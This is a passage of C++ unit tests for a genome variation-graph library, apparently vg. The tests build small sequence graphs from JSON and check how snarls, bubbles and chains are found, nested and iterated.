string snarl2_json = R"({"type": 1, "end": {"node_id": 187209, "backward": true}, "start": {"node_id": 178895, "backward": true}, "parent": {"end": {"node_id": 187208}, "start": {"node_id": 178894}}})";
string snarl3_json = R"({"type": 1, "end": {"node_id": 178896}, "start": {"node_id": 178895}, "parent": {"end": {"node_id": 187208}, "start": {"node_id": 178894}}})";
VG graph;
// Load up the graph
Graph g;
json2pb(g, graph_json.c_str(), graph_json.size());
graph.extend(g);
// Load the snarls
Snarl snarl1, snarl2, snarl3;
json2pb(snarl1, snarl1_json.c_str(), snarl1_json.size());
json2pb(snarl2, snarl2_json.c_str(), snarl2_json.size());
json2pb(snarl3, snarl3_json.c_str(), snarl3_json.size());
// Put them in a list
list<Snarl> snarls;
snarls.push_back(snarl1);
snarls.push_back(snarl2);
snarls.push_back(snarl3);
SnarlManager snarl_manager(snarls.begin(), snarls.end());
// Find the root snarl again
const Snarl* snarl = snarl_manager.manage(snarl1);
// Get its contents
pair<unordered_set<Node*>, unordered_set<Edge*> > contents = snarl_manager.shallow_contents(snarl, graph, true);
// We need the right snarl
REQUIRE(snarl->start().node_id() == 178894);
REQUIRE(!snarl->start().backward());
REQUIRE(snarl->end().node_id() == 187208);
REQUIRE(!snarl->end().backward());
SECTION("The top-level snarl contains all 5 nodes") {
REQUIRE(contents.first.size() == 5);
}
SECTION("The top-level snarl only contains the three edges not in any child snarl") {
REQUIRE(contents.second.size() == 3);
}
}
}
TEST_CASE("snarls can be found", "[snarls]") {
// Build a toy graph
const string graph_json = R"(
{
"node": [
{"id": 1, "sequence": "G"},
{"id": 2, "sequence": "A"},
{"id": 3, "sequence": "T"},
{"id": 4, "sequence": "GGG"},
{"id": 5, "sequence": "T"},
{"id": 6, "sequence": "A"},
{"id": 7, "sequence": "C"},
{"id": 8, "sequence": "A"},
{"id": 9, "sequence": "A"}
],
"edge": [
{"from": 1, "to": 2},
{"from": 1, "to": 6},
{"from": 2, "to": 3},
{"from": 2, "to": 4},
{"from": 3, "to": 5},
{"from": 4, "to": 5},
{"from": 5, "to": 6},
{"from": 6, "to": 7},
{"from": 6, "to": 8},
{"from": 7, "to": 9},
{"from": 8, "to": 9}
],
"path": [
{"name": "hint", "mapping": [
{"position": {"node_id": 1}, "rank" : 1 },
{"position": {"node_id": 6}, "rank" : 2 },
{"position": {"node_id": 8}, "rank" : 3 },
{"position": {"node_id": 9}, "rank" : 4 }
]}
]
}
)";
// Make an actual graph
VG graph;
Graph chunk;
json2pb(chunk, graph_json.c_str(), graph_json.size());
graph.extend(chunk);
// We need to see the path.
REQUIRE(graph.paths.size() == 1);
SnarlManager snarl_manager = CactusSnarlFinder(graph).find_snarls();
#ifdef debug
snarl_manager.for_each_snarl_preorder([&](const Snarl* snarl) {
cerr << "Found snarl " << snarl->start().node_id() << " " << snarl->start().backward()
<< " to " << snarl->end().node_id() << " " << snarl->end().backward() << " containing ";
for (auto& node : snarl_manager.shallow_contents(snarl, graph, false)) {
cerr << node->id() << " ";
}
cerr << endl;
});
#endif
SECTION("There are 2 top level snarls") {
REQUIRE(snarl_manager.top_level_snarls().size() == 2);
const Snarl* child1 = snarl_manager.top_level_snarls()[0];
const Snarl* child2 = snarl_manager.top_level_snarls()[1];
if (child1->start().node_id() > child1->end().node_id()) {
snarl_manager.flip(child1);
}
if (child2->start().node_id() > child2->end().node_id()) {
snarl_manager.flip(child2);
}
SECTION("First child is from 1 end to 6 start") {
REQUIRE(child1->start().node_id() == 1);
REQUIRE(!child1->start().backward() == true);
REQUIRE(child1->end().node_id() == 6);
REQUIRE(child1->end().backward() == false);
SECTION("First child has a child from 2 end to 5 start") {
REQUIRE(snarl_manager.children_of(child1).size() == 1);
const Snarl* subchild = snarl_manager.children_of(child1)[0];
REQUIRE(subchild->start().node_id() == 2);
REQUIRE(!subchild->start().backward() == true);
REQUIRE(subchild->end().node_id() == 5);
REQUIRE(subchild->end().backward() == false);
SECTION("Subchild has no children") {
REQUIRE(snarl_manager.children_of(subchild).size() == 0);
}
}
}
SECTION("Second child is from 6 end to 9 start") {
REQUIRE(child2->start().node_id() == 6);
REQUIRE(!child2->start().backward() == true);
REQUIRE(child2->end().node_id() == 9);
REQUIRE(child2->end().backward() == false);
SECTION("Second child has no children") {
REQUIRE(snarl_manager.children_of(child2).size() == 0);
}
}
}
}
TEST_CASE("bubbles can be found in graphs with only heads", "[bubbles]") {
// Build a toy graph
const string graph_json = R"(
{
"node": [
{"id": 1, "sequence": "G"},
{"id": 2, "sequence": "A"}
],
"edge": [
{"from": 1, "to": 2, "to_end": true}
],
"path": [
{"name": "hint", "mapping": [
{"position": {"node_id": 1}, "rank" : 1 },
{"position": {"node_id": 2, "is_reverse": true}, "rank" : 2 }
]}
]
}
)";
// Make an actual graph
VG graph;
Graph chunk;
json2pb(chunk, graph_json.c_str(), graph_json.size());
graph.extend(chunk);
SnarlManager snarl_manager = CactusSnarlFinder(graph).find_snarls();
#ifdef debug
snarl_manager.for_each_snarl_preorder([&](const Snarl* snarl) {
cerr << "Found snarl " << snarl->start().node_id() << " " << snarl->start().backward()
<< " to " << snarl->end().node_id() << " " << snarl->end().backward() << " containing ";
for (auto& node : snarl_manager.shallow_contents(snarl, graph, false)) {
cerr << node->id() << " ";
}
cerr << endl;
});
#endif
SECTION("Root node has 1 child bubble") {
REQUIRE(snarl_manager.top_level_snarls().size() == 1);
const Snarl* child1 = snarl_manager.top_level_snarls()[0];
if (child1->start().node_id() > child1->end().node_id()) {
snarl_manager.flip(child1);
}
SECTION("First child is from 1 end to 2 end") {
REQUIRE(child1->start().node_id() == 1);
REQUIRE(!child1->start().backward() == true);
REQUIRE(child1->end().node_id() == 2);
REQUIRE(child1->end().backward() == true);
SECTION("First child has no children") {
REQUIRE(snarl_manager.children_of(child1).size() == 0);
}
}
}
}
TEST_CASE("bubbles can be found in bigger graphs with only heads", "[bubbles]") {
// Build a toy graph
const string graph_json = R"(
{
"node": [
{"id": 1, "sequence": "G"},
{"id": 2, "sequence": "A"},
{"id": 3, "sequence": "T"},
{"id": 4, "sequence": "GGG"},
{"id": 5, "sequence": "T"},
{"id": 6, "sequence": "A"},
{"id": 7, "sequence": "C"},
{"id": 8, "sequence": "A"},
{"id": 9, "sequence": "T"}
],
"edge": [
{"from": 1, "to": 2},
{"from": 1, "to": 6},
{"from": 2, "to": 3},
{"from": 2, "to": 4},
{"from": 3, "to": 5},
{"from": 4, "to": 5},
{"from": 5, "to": 6},
{"from": 6, "to": 7},
{"from": 6, "to": 8},
{"from": 7, "to": 9, "to_end": true},
{"from": 8, "to": 9, "to_end": true}
],
"path": [
{"name": "hint", "mapping": [
{"position": {"node_id": 1}, "rank" : 1 },
{"position": {"node_id": 6}, "rank" : 2 },
{"position": {"node_id": 8}, "rank" : 3 },
{"position": {"node_id": 9, "is_reverse": true}, "rank" : 4 }
]}
]
}
)";
// Make an actual graph
VG graph;
Graph chunk;
json2pb(chunk, graph_json.c_str(), graph_json.size());
graph.extend(chunk);
SnarlManager snarl_manager = CactusSnarlFinder(graph).find_snarls();
#ifdef debug
snarl_manager.for_each_snarl_preorder([&](const Snarl* snarl) {
cerr << "Found snarl " << snarl->start().node_id() << " " << snarl->start().backward()
<< " to " << snarl->end().node_id() << " " << snarl->end().backward() << " containing ";
for (auto& node : snarl_manager.shallow_contents(snarl, graph, false)) {
cerr << node->id() << " ";
}
cerr << endl;
});
#endif
SECTION("Root node has 2 child bubbles") {
REQUIRE(snarl_manager.top_level_snarls().size() == 2);
const Snarl* child1 = snarl_manager.top_level_snarls()[0];
const Snarl* child2 = snarl_manager.top_level_snarls()[1];
if (child1->start().node_id() > child1->end().node_id()) {
snarl_manager.flip(child1);
}
if (child2->start().node_id() > child2->end().node_id()) {
snarl_manager.flip(child2);
}
SECTION("First child is from 1 end to 6 start") {
REQUIRE(child1->start().node_id() == 1);
REQUIRE(!child1->start().backward() == true);
REQUIRE(child1->end().node_id() == 6);
REQUIRE(child1->end().backward() == false);
SECTION("First child has a child from 2 end to 5 start") {
REQUIRE(snarl_manager.children_of(child1).size() == 1);
const Snarl* subchild = snarl_manager.children_of(child1)[0];
REQUIRE(subchild->start().node_id() == 2);
REQUIRE(!subchild->start().backward() == true);
REQUIRE(subchild->end().node_id() == 5);
REQUIRE(subchild->end().backward() == false);
SECTION("Subchild has no children") {
REQUIRE(snarl_manager.children_of(subchild).size() == 0);
}
}
}
SECTION("Second child is from 6 end to 9 end") {
REQUIRE(child2->start().node_id() == 6);
REQUIRE(!child2->start().backward() == true);
REQUIRE(child2->end().node_id() == 9);
REQUIRE(child2->end().backward() == true);
SECTION("Second child has no children") {
REQUIRE(snarl_manager.children_of(child2).size() == 0);
}
}
}
}
TEST_CASE("bubbles can be found in graphs with only tails", "[bubbles]") {
// Build a toy graph
const string graph_json = R"(
{
"node": [
{"id": 1, "sequence": "C"},
{"id": 2, "sequence": "A"},
{"id": 3, "sequence": "T"},
{"id": 4, "sequence": "GGG"},
{"id": 5, "sequence": "T"},
{"id": 6, "sequence": "A"},
{"id": 7, "sequence": "C"},
{"id": 8, "sequence": "A"},
{"id": 9, "sequence": "A"}
],
"edge": [
{"from": 1, "to": 2, "from_start": true},
{"from": 1, "to": 6, "from_start": true},
{"from": 2, "to": 3},
{"from": 2, "to": 4},
{"from": 3, "to": 5},
{"from": 4, "to": 5},
{"from": 5, "to": 6},
{"from": 6, "to": 7},
{"from": 6, "to": 8},
{"from": 7, "to": 9},
{"from": 8, "to": 9}
],
"path": [
{"name": "hint", "mapping": [
{"position": {"node_id": 1, "is_reverse": true}, "rank" : 1 },
{"position": {"node_id": 6}, "rank" : 2 },
{"position": {"node_id": 8}, "rank" : 3 },
{"position": {"node_id": 9}, "rank" : 4 }
]}
]
}
)";
// Make an actual graph
VG graph;
Graph chunk;
json2pb(chunk, graph_json.c_str(), graph_json.size());
graph.extend(chunk);
SnarlManager snarl_manager = CactusSnarlFinder(graph).find_snarls();
#ifdef debug
snarl_manager.for_each_snarl_preorder([&](const Snarl* snarl) {
cerr << "Found snarl " << snarl->start().node_id() << " " << snarl->start().backward()
<< " to " << snarl->end().node_id() << " " << snarl->end().backward() << " containing ";
for (auto& node : snarl_manager.shallow_contents(snarl, graph, false)) {
cerr << node->id() << " ";
}
cerr << endl;
});
#endif
SECTION("Root node has 2 child bubbles") {
REQUIRE(snarl_manager.top_level_snarls().size() == 2);
const Snarl* child1 = snarl_manager.top_level_snarls()[0];
const Snarl* child2 = snarl_manager.top_level_snarls()[1];
if (child1->start().node_id() > child1->end().node_id()) {
snarl_manager.flip(child1);
}
if (child2->start().node_id() > child2->end().node_id()) {
snarl_manager.flip(child2);
}
SECTION("First child is from 1 start to 6 start") {
REQUIRE(child1->start().node_id() == 1);
REQUIRE(!child1->start().backward() == false);
REQUIRE(child1->end().node_id() == 6);
REQUIRE(child1->end().backward() == false);
SECTION("First child should have all the contained nodes in its contents, including contents of its children") {
REQUIRE(snarl_manager.deep_contents(child1, graph, true).first.size() == 6);
};
SECTION("First child has a child from 2 end to 5 start") {
REQUIRE(snarl_manager.children_of(child1).size() == 1);
const Snarl* subchild = snarl_manager.children_of(child1)[0];
REQUIRE(subchild->start().node_id() == 2);
REQUIRE(!subchild->start().backward() == true);
REQUIRE(subchild->end().node_id() == 5);
REQUIRE(subchild->end().backward() == false);
SECTION("Subchild has no children") {
REQUIRE(snarl_manager.children_of(subchild).size() == 0);
}
}
}
SECTION("Second child is from 6 end to 9 start") {
REQUIRE(child2->start().node_id() == 6);
REQUIRE(!child2->start().backward() == true);
REQUIRE(child2->end().node_id() == 9);
REQUIRE(child2->end().backward() == false);
SECTION("Second child has no children") {
REQUIRE(snarl_manager.children_of(child2).size() == 0);
}
}
}
}
TEST_CASE("bubbles can be found when heads cannot reach tails", "[bubbles]") {
// Build a toy graph
// Looks like:
//
// 1\
// 2---3
// v\4 v
//
// The head is 1, the tail is 4, 2 and 3 have self loops, and the graph is connected.
// But the head cannot reach the tail.
const string graph_json = R"(
{
"node": [
{"id": 1, "sequence": "A"},
{"id": 2, "sequence": "A"},
{"id": 3, "sequence": "A"},
{"id": 4, "sequence": "A"}
],
"edge": [
{"from": 1, "to": 3},
{"from": 2, "to": 4},
{"from": 2, "to": 3},
{"from": 2, "to": 2},
{"from": 3, "to": 3}
]
}
)";
// Make an actual graph
VG graph;
Graph chunk;
json2pb(chunk, graph_json.c_str(), graph_json.size());
graph.extend(chunk);
SnarlManager snarl_manager = CactusSnarlFinder(graph).find_snarls();
#ifdef debug
snarl_manager.for_each_snarl_preorder([&](const Snarl* snarl) {
cerr << "Found snarl " << snarl->start().node_id() << " " << snarl->start().backward()
<< " to " << snarl->end().node_id() << " " << snarl->end().backward() << " containing ";
for (auto& node : snarl_manager.shallow_contents(snarl, graph, false)) {
cerr << node->id() << " ";
}
cerr << endl;
});
#endif
SECTION("Root should have one child actual bubble") {
REQUIRE(snarl_manager.top_level_snarls().size() == 1);
const Snarl* child1 = snarl_manager.top_level_snarls()[0];
SECTION("The child should contain all the nodes as contents") {
REQUIRE(snarl_manager.deep_contents(child1, graph, true).first.size() == 4);
}
// TODO: When unary snarls are exposed, make sure we have unary children.
}
}
TEST_CASE("bubbles can be found in a graph with no heads or tails", "[bubbles]") {
// Build a toy graph
const string graph_json = R"(
{
"node": [
{"id": 1, "sequence": "G"},
{"id": 2, "sequence": "A"}
],
"edge": [
{"from": 1, "to": 2},
{"from": 2, "to": 1}
],
"path": [
{"name": "hint", "mapping": [
{"position": {"node_id": 1}, "rank" : 1 },
{"position": {"node_id": 2}, "rank" : 2 }
]}
]
}
)";
// Make an actual graph
VG graph;
Graph chunk;
json2pb(chunk, graph_json.c_str(), graph_json.size());
graph.extend(chunk);
SnarlManager snarl_manager = CactusSnarlFinder(graph).find_snarls();
#ifdef debug
snarl_manager.for_each_snarl_preorder([&](const Snarl* snarl) {
cerr << "Found snarl " << snarl->start().node_id() << " " << snarl->start().backward()
<< " to " << snarl->end().node_id() << " " << snarl->end().backward() << " containing ";
for (auto& node : snarl_manager.shallow_contents(snarl, graph, false)) {
cerr << node->id() << " ";
}
cerr << endl;
});
#endif
SECTION("Root node has 2 child bubbles") {
REQUIRE(snarl_manager.top_level_snarls().size() == 2);
const Snarl* child1 = snarl_manager.top_level_snarls()[0];
const Snarl* child2 = snarl_manager.top_level_snarls()[1];
if (child1->start().node_id() > child1->end().node_id()) {
snarl_manager.flip(child1);
}
if (child2->start().node_id() > child2->end().node_id()) {
snarl_manager.flip(child2);
}
SECTION("First child is from 1 start/end to 2 end/start") {
REQUIRE(child1->start().node_id() == 1);
REQUIRE(child1->end().node_id() == 2);
REQUIRE(!child1->start().backward() != child1->end().backward());
SECTION("First child has no children") {
REQUIRE(snarl_manager.children_of(child1).size() == 0);
}
}
SECTION("Second child is from 1 start/end to 2 end/start") {
REQUIRE(child2->start().node_id() == 1);
REQUIRE(child2->end().node_id() == 2);
REQUIRE(!child1->start().backward() != child1->end().backward());
SECTION("Second child has no children") {
REQUIRE(snarl_manager.children_of(child2).size() == 0);
}
}
}
}
TEST_CASE("bubbles can be found in a graph with no heads or tails or paths", "[bubbles]") {
// Build a toy graph
const string graph_json = R"(
{
"node": [
{"id": 1, "sequence": "G"},
{"id": 2, "sequence": "A"}
],
"edge": [
{"from": 1, "to": 2},
{"from": 2, "to": 1}
]
}
)";
// Make an actual graph
VG graph;
Graph chunk;
json2pb(chunk, graph_json.c_str(), graph_json.size());
graph.extend(chunk);
SnarlManager snarl_manager = CactusSnarlFinder(graph).find_snarls();
#ifdef debug
snarl_manager.for_each_snarl_preorder([&](const Snarl* snarl) {
cerr << "Found snarl " << snarl->start().node_id() << " " << snarl->start().backward()
<< " to " << snarl->end().node_id() << " " << snarl->end().backward() << " containing ";
for (auto& node : snarl_manager.shallow_contents(snarl, graph, false)) {
cerr << node->id() << " ";
}
cerr << endl;
});
#endif
SECTION("Root node has 2 child bubbles") {
REQUIRE(snarl_manager.top_level_snarls().size() == 2);
// We should have 2 bubbles, one looking around the cycle in each direction.
// TODO: can't really say much about its contents.
}
}
TEST_CASE("bubbles are created based on most distant connected tips", "[bubbles]") {
// Build a toy graph
// Looks like:
//
// 1\
// 5--2---3--6
// \4
//
// The head is 1, the tail is 4, 2 and 3 have self loops, and the graph is connected.
// But the head cannot reach the tail.
const string graph_json = R"(
{
"node": [
{"id": 1, "sequence": "A"},
{"id": 2, "sequence": "A"},
{"id": 3, "sequence": "A"},
{"id": 4, "sequence": "A"},
{"id": 5, "sequence": "A"},
{"id": 6, "sequence": "A"}
],
"edge": [
{"from": 1, "to": 3},
{"from": 2, "to": 4},
{"from": 2, "to": 3},
{"from": 5, "to": 2},
{"from": 3, "to": 6}
]
}
)";
// Make an actual graph
VG graph;
Graph chunk;
json2pb(chunk, graph_json.c_str(), graph_json.size());
graph.extend(chunk);
SnarlManager snarl_manager = CactusSnarlFinder(graph).find_snarls();
#ifdef debug
snarl_manager.for_each_snarl_preorder([&](const Snarl* snarl) {
cerr << "Found snarl " << snarl->start().node_id() << " " << snarl->start().backward()
<< " to " << snarl->end().node_id() << " " << snarl->end().backward() << " containing ";
for (auto& node : snarl_manager.shallow_contents(snarl, graph, false)) {
cerr << node->id() << " ";
}
cerr << endl;
});
#endif
SECTION("Root should have three child actual bubbles") {
REQUIRE(snarl_manager.top_level_snarls().size() == 3);
const Snarl* child1 = snarl_manager.top_level_snarls()[0];
const Snarl* child2 = snarl_manager.top_level_snarls()[1];
const Snarl* child3 = snarl_manager.top_level_snarls()[2];
if (child1->start().node_id() > child1->end().node_id()) {
snarl_manager.flip(child1);
}
if (child2->start().node_id() > child2->end().node_id()) {
snarl_manager.flip(child2);
}
if (child3->start().node_id() > child3->end().node_id()) {
snarl_manager.flip(child3);
}
SECTION("First child is trivial snarl from 2 start to 5 end") {
// Not 5 end to 2 start because we seem to be sorting by node ID.
REQUIRE(child1->start().node_id() == 2);
REQUIRE(!child1->start().backward() == false);
REQUIRE(child1->end().node_id() == 5);
REQUIRE(child1->end().backward() == true);
}
SECTION("Second child is tip-containing snarl from 2 end to 3 start") {
REQUIRE(child2->start().node_id() == 2);
REQUIRE(!child2->start().backward() == true);
REQUIRE(child2->end().node_id() == 3);
REQUIRE(child2->end().backward() == false);
}
SECTION("Third child is trivial snarl from 3 end to 6 start") {
REQUIRE(child3->start().node_id() == 3);
REQUIRE(!child3->start().backward() == true);
REQUIRE(child3->end().node_id() == 6);
REQUIRE(child3->end().backward() == false);
}
}
}
TEST_CASE("SnarlManager accepts chain input", "[snarls]") {
// Make a little graph where snarl1 and snarl2 are a top-level
// chain, and snarl3 and snarl4 are trivial chains inside snarl1
Snarl snarl1;
snarl1.mutable_start()->set_node_id(1);
snarl1.mutable_end()->set_node_id(6);
snarl1.set_start_end_reachable(true);
Snarl snarl2;
snarl2.mutable_start()->set_node_id(6);
snarl2.mutable_end()->set_node_id(7);
snarl2.set_start_end_reachable(true);
Snarl snarl3;
snarl3.mutable_start()->set_node_id(2);
snarl3.mutable_end()->set_node_id(3);
snarl3.set_start_end_reachable(true);
transfer_boundary_info(snarl1, *snarl3.mutable_parent());
Snarl snarl4;
snarl4.mutable_start()->set_node_id(4);
snarl4.mutable_end()->set_node_id(5);
snarl4.set_start_end_reachable(true);
transfer_boundary_info(snarl1, *snarl4.mutable_parent());
// Load all this into the SnarlManager
SnarlManager snarl_manager;
auto ptr3 = snarl_manager.add_snarl(snarl3);
auto ptr4 = snarl_manager.add_snarl(snarl4);
auto ptr1 = snarl_manager.add_snarl(snarl1);
snarl_manager.add_chain(Chain{ptr3}, ptr1);
snarl_manager.add_chain(Chain{ptr4}, ptr1);
auto ptr2 = snarl_manager.add_snarl(snarl2);
snarl_manager.add_chain(Chain{ptr1, ptr2}, nullptr);
#ifdef debug
snarl_manager.for_each_snarl_preorder([&](const Snarl* snarl) {
cerr << "Found snarl " << snarl->start().node_id() << " " << snarl->start().backward()
<< " to " << snarl->end().node_id() << " " << snarl->end().backward() << endl;
});
#endif
SECTION("There should be two top-level snarls") {
REQUIRE(snarl_manager.top_level_snarls().size() == 2);
const Snarl* child1 = snarl_manager.top_level_snarls()[0];
const Snarl* child2 = snarl_manager.top_level_snarls()[1];
if (child1->start().node_id() > child1->end().node_id()) {
snarl_manager.flip(child1);
}
if (child2->start().node_id() > child2->end().node_id()) {
snarl_manager.flip(child2);
}
SECTION("First child is from 1 to 6") {
REQUIRE(child1->start().node_id() == 1);
REQUIRE(child1->start().backward() == false);
REQUIRE(child1->end().node_id() == 6);
REQUIRE(child1->end().backward() == false);
SECTION("First child has two children") {
REQUIRE(snarl_manager.children_of(child1).size() == 2);
const Snarl* subchild1 = snarl_manager.children_of(child1)[0];
const Snarl* subchild2 = snarl_manager.children_of(child1)[1];
SECTION("First child is from 2 to 3") {
REQUIRE(subchild1->start().node_id() == 2);
REQUIRE(subchild1->start().backward() == false);
REQUIRE(subchild1->end().node_id() == 3);
REQUIRE(subchild1->end().backward() == false);
}
SECTION("Second child is from 4 to 5") {
REQUIRE(subchild2->start().node_id() == 4);
REQUIRE(subchild2->start().backward() == false);
REQUIRE(subchild2->end().node_id() == 5);
REQUIRE(subchild2->end().backward() == false);
}
}
}
SECTION("Second child from 6 to 7") {
REQUIRE(child2->start().node_id() == 6);
REQUIRE(child2->start().backward() == false);
REQUIRE(child2->end().node_id() == 7);
REQUIRE(child2->end().backward() == false);
}
}
}
TEST_CASE("SnarlManager exposes chains correctly", "[snarls]") {
// We need a graph a chain in it.
// Looks like:
//
// 2 5 8
// 1 4 7 10
// 3 6 9
//
const string graph_json = R"(
{
"node": [
{"id": 1, "sequence": "A"},
{"id": 2, "sequence": "A"},
{"id": 3, "sequence": "A"},
{"id": 4, "sequence": "A"},
{"id": 5, "sequence": "A"},
{"id": 6, "sequence": "A"},
{"id": 7, "sequence": "A"},
{"id": 8, "sequence": "A"},
{"id": 9, "sequence": "A"},
{"id": 10, "sequence": "A"}
],
"edge": [
{"from": 1, "to": 2},
{"from": 1, "to": 3},
{"from": 2, "to": 4},
{"from": 3, "to": 4},
{"from": 4, "to": 5},
{"from": 4, "to": 6},
{"from": 5, "to": 7},
{"from": 6, "to": 7},
{"from": 7, "to": 8},
{"from": 7, "to": 9},
{"from": 8, "to": 10},
{"from": 9, "to": 10}
]
}
)";
// Make an actual graph
VG graph;
Graph chunk;
json2pb(chunk, graph_json.c_str(), graph_json.size());
graph.extend(chunk);
SnarlManager snarl_manager = CactusSnarlFinder(graph).find_snarls();
#ifdef debug
snarl_manager.for_each_snarl_preorder([&](const Snarl* snarl) {
cerr << "Found snarl " << snarl->start().node_id() << " " << snarl->start().backward()
<< " to " << snarl->end().node_id() << " " << snarl->end().backward() << " containing ";
for (auto& node : snarl_manager.shallow_contents(snarl, graph, false)) {
cerr << node->id() << " ";
}
cerr << endl;
});
#endif
SECTION("There should be three top-level snarls") {
REQUIRE(snarl_manager.top_level_snarls().size() == 3);
const Snarl* child1 = snarl_manager.top_level_snarls()[0];
const Snarl* child2 = snarl_manager.top_level_snarls()[1];
const Snarl* child3 = snarl_manager.top_level_snarls()[2];
if (child1->start().node_id() > child1->end().node_id()) {
snarl_manager.flip(child1);
}
if (child2->start().node_id() > child2->end().node_id()) {
snarl_manager.flip(child2);
}
if (child3->start().node_id() > child3->end().node_id()) {
snarl_manager.flip(child3);
}
SECTION("They should be in a chain") {
REQUIRE(snarl_manager.in_nontrivial_chain(child1));
REQUIRE(snarl_manager.in_nontrivial_chain(child2));
REQUIRE(snarl_manager.in_nontrivial_chain(child3));
}
SECTION("They should be in the same chain") {
REQUIRE(snarl_manager.chain_of(child1) == snarl_manager.chain_of(child2));
REQUIRE(snarl_manager.chain_of(child2) == snarl_manager.chain_of(child3));
}
SECTION("We can traverse the chain with iterators") {
auto chains = snarl_manager.chains_of(nullptr);
REQUIRE(chains.size() == 1);
auto& chain = chains.front();
auto begin = chain_begin(chain);
auto rbegin = chain_rbegin(chain);
auto rcbegin = chain_rcbegin(chain);
auto end = chain_end(chain);
auto rend = chain_rend(chain);
auto rcend = chain_rcend(chain);
SECTION("Iterator equality works") {
REQUIRE(begin == begin);
REQUIRE(begin != end);
REQUIRE(begin != rbegin);
REQUIRE(begin != rend);
REQUIRE(rbegin == rbegin);
REQUIRE(rbegin != end);
REQUIRE(rbegin != begin);
REQUIRE(rbegin != rend);
REQUIRE(end == end);
REQUIRE(end != begin);
REQUIRE(end != rbegin);
REQUIRE(end != rend);
REQUIRE(rend == rend);
REQUIRE(rend != end);
REQUIRE(rend != rbegin);
REQUIRE(rend != begin);
}
SECTION("Iterators traverse the chain left to right and right to left") {
auto it = begin;
auto rit = rbegin;
REQUIRE(*it == make_pair(child1, false));
REQUIRE(*rit == make_pair(child3, false));
REQUIRE(it->first == child1);
REQUIRE(it->second == false);
REQUIRE(rit->first == child3);
REQUIRE(rit->second == false);
++it;
++rit;
REQUIRE(*it == make_pair(child2, false));
REQUIRE(*rit == make_pair(child2, false));
REQUIRE(it->first == child2);
REQUIRE(it->second == false);
REQUIRE(rit->first == child2);
REQUIRE(rit->second == false);
++it;
++rit;
REQUIRE(*it == make_pair(child3, false));
REQUIRE(*rit == make_pair(child1, false));
REQUIRE(it->first == child3);
REQUIRE(it->second == false);
REQUIRE(rit->first == child1);
REQUIRE(rit->second == false);
++it;
++rit;
REQUIRE(it == end);
REQUIRE(rit == rend);
}
SECTION("Reverse complement iterators traverse the chain correctly") {
auto it = rcbegin;
REQUIRE(*it == make_pair(child3, true));
REQUIRE(it->first == child3);
REQUIRE(it->second == true);
++it;
REQUIRE(*it == make_pair(child2, true));
REQUIRE(it->first == child2);
REQUIRE(it->second == true);
++it;
REQUIRE(*it == make_pair(child1, true));
REQUIRE(it->first == child1);
REQUIRE(it->second == true);
++it;
REQUIRE(it == rcend);
}
SECTION("We can view the chain from each end") {
REQUIRE(chain_begin_from(chain, child1, false) == begin);
REQUIRE(chain_end_from(chain, child1, false) == end);
REQUIRE(chain_begin_from(chain, child3, true) == rcbegin);
REQUIRE(chain_end_from(chain, child3, true) == rcend);
snarl_manager.flip(child1);
snarl_manager.flip(child3);
REQUIRE(chain_begin_from(chain, child1, true) == chain_begin(chain));
REQUIRE(chain_end_from(chain, child1, true) == chain_end(chain));
REQUIRE(chain_begin_from(chain, child3, false) == chain_rcbegin(chain));
REQUIRE(chain_end_from(chain, child3, false) == chain_rcend(chain));
}
SECTION("Empty chains have proper iterators") {
Chain empty;
REQUIRE(chain_begin(empty) == chain_end(empty));
REQUIRE(chain_rbegin(empty) == chain_rend(empty));
}
}
SECTION("We can still see the chain if we flip the snarls around") {
snarl_manager.flip(child1);
snarl_manager.flip(child2);
auto chains = snarl_manager.chains_of(nullptr);
REQUIRE(chains.size() == 1);
auto& chain = chains.front();
REQUIRE(chain.size() == 3);
auto it = chain_begin(chain);
// Chain should be in the same order but with some orientations flipped.
REQUIRE(*it == make_pair(child1, true));
++it;
REQUIRE(*it == make_pair(child2, true));
++it;
REQUIRE(*it == make_pair(child3, false));
++it;
REQUIRE(it == chain_end(chain));
}
SECTION("We can look around from a snarl") {
const Chain* chain = snarl_manager.chain_of(child1);
ChainIterator here = chain_begin_from(*chain, child1, false);
ChainIterator end = chain_end_from(*chain, child1, false);
SECTION("Looking right into the chain gives us the Snarl to the right") {
ChainIterator right = here;
++right;
REQUIRE(right != end);
REQUIRE(right->first == child2);
// Must not be backward
REQUIRE(right->second == false);
}
// Now look from the other end
here = chain_begin_from(*chain, child3, true);
end = chain_end_from(*chain, child3, true);
SECTION("Looking left into the chain gives us a Visit to the right Snarl") {
ChainIterator left = here;
++left;
REQUIRE(left != end);
REQUIRE(left->first == child2);
// Must be backward
REQUIRE(left->second == true);
}
}
}
}
TEST_CASE("Chain start and end functions work on difficult chains", "[snarls]") {
// This graph will have a snarl from 1 to 8, a snarl from 2 to 4, and a
// snarl from 4 to 7, with a chain in the top snarl. The snarl from 4 to 7
// will have a child snarl from 5 to 6 (an insertion of node 9)
VG graph;
Node* n1 = graph.create_node("GCA");
Node* n2 = graph.create_node("T");
Node* n3 = graph.create_node("G");
Node* n4 = graph.create_node("CTGA");
Node* n5 = graph.create_node("GCA");
Node* n6 = graph.create_node("T");
Node* n7 = graph.create_node("G");
Node* n8 = graph.create_node("CTGA");
Node* n9 = graph.create_node("GCA");
Edge* e1 = graph.create_edge(n1, n2);
Edge* e2 = graph.create_edge(n1, n8);
Edge* e3 = graph.create_edge(n2, n3);
Edge* e4 = graph.create_edge(n2, n4);
Edge* e5 = graph.create_edge(n3, n4);
Edge* e6 = graph.create_edge(n4, n5);
Edge* e7 = graph.create_edge(n4, n7);
Edge* e8 = graph.create_edge(n5, n6);
Edge* e9 = graph.create_edge(n5, n9);
Edge* e10 = graph.create_edge(n9, n6);
Edge* e11 = graph.create_edge(n6, n7);
Edge* e12 = graph.create_edge(n7, n8);
// Work out its snarls
CactusSnarlFinder bubble_finder(graph);
SnarlManager snarl_manager = bubble_finder.find_snarls();
// Get the top snarl
const Snarl* top_snarl = snarl_manager.top_level_snarls().at(0);
if (top_snarl->end().node_id() < top_snarl->start().node_id()) {
// Put it a consistent way around
snarl_manager.flip(top_snarl);
}
// Make sure it's what we expect.
REQUIRE(top_snarl->start().node_id() == 1);
REQUIRE(top_snarl->end().node_id() == 8);
// Make sure we have one chain
auto& chains = snarl_manager.chains_of(top_snarl);
REQUIRE(chains.size() == 1);
// Get the chain
auto& chain = chains.at(0);
REQUIRE(chain.size() == 2);
// And the snarls in the chain
const Snarl* left_child = chain.at(0);
const Snarl* right_child = chain.at(1);
REQUIRE(left_child->start().node_id() == 2);
REQUIRE(left_child->end().node_id() == 4);
// Make sure the right child is BACKWARD in the chain
snarl_manager.flip(right_child);
